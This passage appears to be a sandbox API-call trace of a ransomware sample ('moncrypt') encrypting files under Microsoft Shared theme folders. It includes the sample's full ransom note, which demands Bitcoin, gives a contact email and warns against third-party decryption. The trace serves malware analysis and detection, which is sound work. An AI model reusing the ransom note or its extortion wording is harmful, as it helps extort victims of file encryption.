| out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.978] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.980] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.980] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.980] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.980] GlobalUnlock (hMem=0x440004) returned 0 [0050.981] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.981] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.981] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.981] GlobalUnlock (hMem=0x440004) returned 0 [0050.981] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.981] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.981] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.981] GlobalUnlock (hMem=0x44000c) returned 0 [0050.981] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.981] GlobalUnlock (hMem=0x440004) returned 0 [0050.981] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.981] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.981] GlobalUnlock (hMem=0x440004) returned 0 [0050.981] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.981] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.981] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.981] GlobalUnlock (hMem=0x440004) returned 0 [0050.981] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.981] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.981] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.981] SetFilePointer (in: hFile=0x18c, lDistanceToMove=32607, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x7f5f [0050.981] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.982] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.982] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.993] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.993] CloseHandle (hObject=0x18c) returned 1 [0050.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.994] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.994] CloseHandle (hObject=0x18c) returned 1 [0050.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.994] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.994] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.994] GlobalUnlock (hMem=0x440004) returned 0 [0050.994] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.995] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.995] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.995] GlobalUnlock (hMem=0x440004) returned 0 [0050.995] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.995] GlobalUnlock (hMem=0x44000c) returned 0 [0050.995] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa0ece0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fa0ece0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fa0ece0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.995] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.995] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.995] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.995] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.995] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.995] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.995] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.995] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.995] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.995] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.996] CloseHandle (hObject=0x18c) returned 1 [0050.996] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.996] GetLastError () returned 0x12 [0050.996] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.996] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.996] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.996] GlobalUnlock (hMem=0x44000c) returned 0 [0050.996] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.996] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.996] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.996] GlobalUnlock (hMem=0x44000c) returned 0 [0050.996] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.996] GlobalUnlock (hMem=0x440004) returned 0 [0050.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fa0ece0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fa0ece0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.996] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.996] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.996] GlobalLock (hMem=0x440004) returned 0x550170 [0050.997] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.997] GlobalUnlock (hMem=0x440004) returned 0 [0050.997] GlobalLock (hMem=0x440004) returned 0x550170 [0050.997] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.997] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.997] GlobalUnlock (hMem=0x440004) returned 0 [0050.997] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.997] GlobalUnlock (hMem=0x44000c) returned 0 [0050.997] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.997] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fa0ece0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fa0ece0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.997] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.997] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.997] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.997] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.997] GlobalUnlock (hMem=0x44000c) returned 0 [0050.997] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.997] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.997] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.997] GlobalUnlock (hMem=0x44000c) returned 0 [0050.997] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.997] GlobalUnlock (hMem=0x440004) returned 0 [0050.997] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.997] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaf8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM.moncrypt", cAlternateFileName="CANYON~1.MON")) returned 1 [0050.997] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.997] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.997] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.997] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.997] GlobalUnlock (hMem=0x440004) returned 0 [0050.998] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.998] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.998] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.998] GlobalUnlock (hMem=0x440004) returned 0 [0050.998] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.998] GlobalUnlock (hMem=0x44000c) returned 0 [0050.998] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.998] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0050.998] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.998] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.998] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.998] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.998] GlobalUnlock (hMem=0x44000c) returned 0 [0050.998] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.998] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.998] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.998] GlobalUnlock (hMem=0x44000c) returned 0 [0050.998] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.998] GlobalUnlock (hMem=0x440004) returned 0 [0050.998] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.998] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa0ece0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fa0ece0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fa0ece0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.998] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.998] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.998] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.998] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.998] GlobalUnlock (hMem=0x440004) returned 0 [0050.998] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.998] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.998] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.998] GlobalUnlock (hMem=0x440004) returned 0 [0050.998] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.999] GlobalUnlock (hMem=0x44000c) returned 0 [0050.999] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.002] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.002] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.002] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.002] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.002] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.002] GlobalUnlock (hMem=0x44000c) returned 0 [0051.002] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.002] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.002] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.002] GlobalUnlock (hMem=0x44000c) returned 0 [0051.002] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.002] GlobalUnlock (hMem=0x440004) returned 0 [0051.002] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.002] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8024, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.002] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.002] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.002] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.002] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.002] GlobalUnlock (hMem=0x440004) returned 0 [0051.002] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.003] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.003] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.003] GlobalUnlock (hMem=0x440004) returned 0 [0051.003] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.003] GlobalUnlock (hMem=0x44000c) returned 0 [0051.003] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.003] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8024, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.003] GetLastError () returned 0x12 [0051.003] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.003] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0051.003] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.003] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.003] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.003] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.003] GlobalUnlock (hMem=0x44000c) returned 0 [0051.003] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.003] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.003] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.003] GlobalUnlock (hMem=0x44000c) returned 0 [0051.003] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.003] GlobalUnlock (hMem=0x440004) returned 0 [0051.003] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.004] GlobalLock (hMem=0x440004) returned 0x550170 [0051.004] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.004] GlobalUnlock (hMem=0x440004) returned 0 [0051.004] GlobalLock (hMem=0x440004) returned 0x550170 [0051.004] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.004] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.004] GlobalUnlock (hMem=0x440004) returned 0 [0051.004] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.004] GlobalUnlock (hMem=0x44000c) returned 0 [0051.004] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.004] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES") returned 1 [0051.004] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.004] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.004] GlobalUnlock (hMem=0x44000c) returned 0 [0051.004] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.004] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.004] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.004] GlobalUnlock (hMem=0x44000c) returned 0 [0051.004] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.004] GlobalUnlock (hMem=0x440004) returned 0 [0051.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꟒RꞦR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.005] GetLastError () returned 0x3 [0051.005] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, 